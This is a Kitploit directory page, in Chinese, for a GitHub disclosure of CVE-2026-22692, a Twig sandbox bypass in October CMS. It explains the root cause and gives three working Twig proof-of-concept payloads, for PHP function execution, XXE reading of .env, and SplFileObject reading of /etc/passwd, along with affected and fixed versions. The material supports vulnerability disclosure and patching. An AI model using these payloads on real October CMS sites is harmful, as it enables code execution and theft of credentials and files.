Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/lukasz-rybak/cve-2026-22692
漏洞分析代码分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育
GitHublukasz-rybak/cve-2026-22692

CVE-2026-22692

CVE-2026-22692 - 通过 collect()->mapInto() 实现的关键 Twig 沙箱绕过,可在 October CMS 中实现 RCE/LFI/XXE

查看仓库
24个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-22692: 通过 collect()->mapInto() 实现的关键 Twig 沙箱绕过,允许 RCE/LFI/XXE (October CMS)

概述

字段详情
CVE 编号CVE-2026-22692
严重性中等 (CVSS:3.1 4.9)
公告GHSA-m5qg-jc75-4jp6
受影响产品October CMS (<= 4.1.4, <= 3.7.12)
漏洞类型Twig 沙箱绕过 -> RCE, LFI, XXE
发现者Lukasz Rybak

CWE 分类

  • CWE-693: 保护机制失效
  • CWE-611: XML外部实体引用的不当限制
  • CWE-74: 下游组件输出中特殊元素的不当中和('注入')

摘要

October CMS Twig 沙箱(安全模式)中存在一个严重漏洞,允许拥有模板编辑权限的认证用户绕过安全限制,从服务器执行任意 PHP 代码(RCE)或读取任意文件(XXE/LFI)。

详细信息

根本原因

根本原因位于 October\Rain\Support\SafeCollection 中。该类实现了 CallsAnyMethod 接口,该接口指示 System\Twig\SecurityPolicy 绕过对集合对象本身的标准方法白名单。

虽然 SafeCollection 试图过滤参数以防止直接执行可调用对象,但它并未阻止 mapInto($class) 方法。mapInto 方法遍历集合并实例化提供的类名:

root@kitploit:~
new $class($value, $key);

这使得攻击者可以实例化应用程序已知的任何类。

漏洞 1:RCE(函数执行)

System\Twig\SecurityPolicy 显式地将 __toString() 方法添加到所有对象的白名单中。通过实例化 Psy\Readline\Hoa\Xcallable(它包装了一个可调用对象)并将其包装在 GuzzleHttp\Psr7\FnStream(它通过 _fn___toString 属性在其 __toString 方法中调用用户定义的函数)中,攻击者只需在 Twig 中打印该对象即可触发执行任意不需要参数的 PHP 函数(例如 php_uname、phpinfo)。

漏洞 2:XXE(任意文件读取)

SimpleXMLElement 类接受一个 libxml 选项标志作为其第二个构造函数参数。mapInto() 将集合键作为第二个参数传递给构造函数。通过创建一个键为 2(对应于 LIBXML_NOENT)的集合,攻击者可以在 SimpleXMLElement 中启用外部实体替换,从而导致立即的 XXE 并能够读取系统文件。

漏洞 3:LFI(通过 SplFileObject 进行任意文件读取)

使用原生 PHP 的 SplFileObject 类存在一个更直接的本地文件包含(LFI)漏洞。通过使用文件路径和读取模式(通过 mapInto 传递)实例化 SplFileObject,攻击者可以获得一个可遍历的文件对象。将此对象传递给 collect() 辅助函数会触发立即迭代(通过框架核心内部的 iterator_to_array),从而绕过沙箱的方法阻止策略。这允许读取 Web 服务器可访问的任何文件,无需 XML 支持或特定供应商库。

PoC(概念验证)

前提条件

  • 对 October CMS 后端(或任何允许 Twig 模板编辑的功能)的认证访问
  • CMS_SAFE_MODE=true

Payload 1:RCE(执行 php_uname)

root@kitploit:~
{% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}

{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}

{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}

System Info: {{ f }}

Payload 2:XXE(读取 .env 文件)

root@kitploit:~
{% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}

{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}

FILE CONTENT (.env):
{{ x }}

Payload 3:LFI(通过 SplFileObject 读取 /etc/passwd)

root@kitploit:~
{% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}

LFI Result:
{{ content.join('') }}

影响

远程代码执行(RCE)、本地文件包含(LFI)、XML 外部实体注入(XXE)。

  • RCE: 允许执行 PHP 代码(限于 FnStream 工具中的 0 参数函数,但可能通过其他工具扩展)。
  • LFI / XXE: 允许通过多种向量(SimpleXMLElement 或 SplFileObject)读取 Web 用户可访问的服务器文件系统上的任何文件(包括 /etc/passwd、数据库配置、.env 等)。

这影响任何不受信任或半受信任用户可访问 CMS 模板编辑器的 October CMS 安装,从而允许他们将权限提升至系统管理员/根级别逻辑。

受影响产品

  • 包: octobercms/october (Packagist)
  • 受影响版本: <= 4.1.4, <= 3.7.12
  • 修复版本: 4.1.5, 3.7.13

参考

  • https://github.com/octobercms/october/security/advisories/GHSA-m5qg-jc75-4jp6
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22692

免责声明

此 CVE 已按照协调漏洞披露实践进行负责任地披露。此处提供的信息仅供教育和防御目的。

下载工具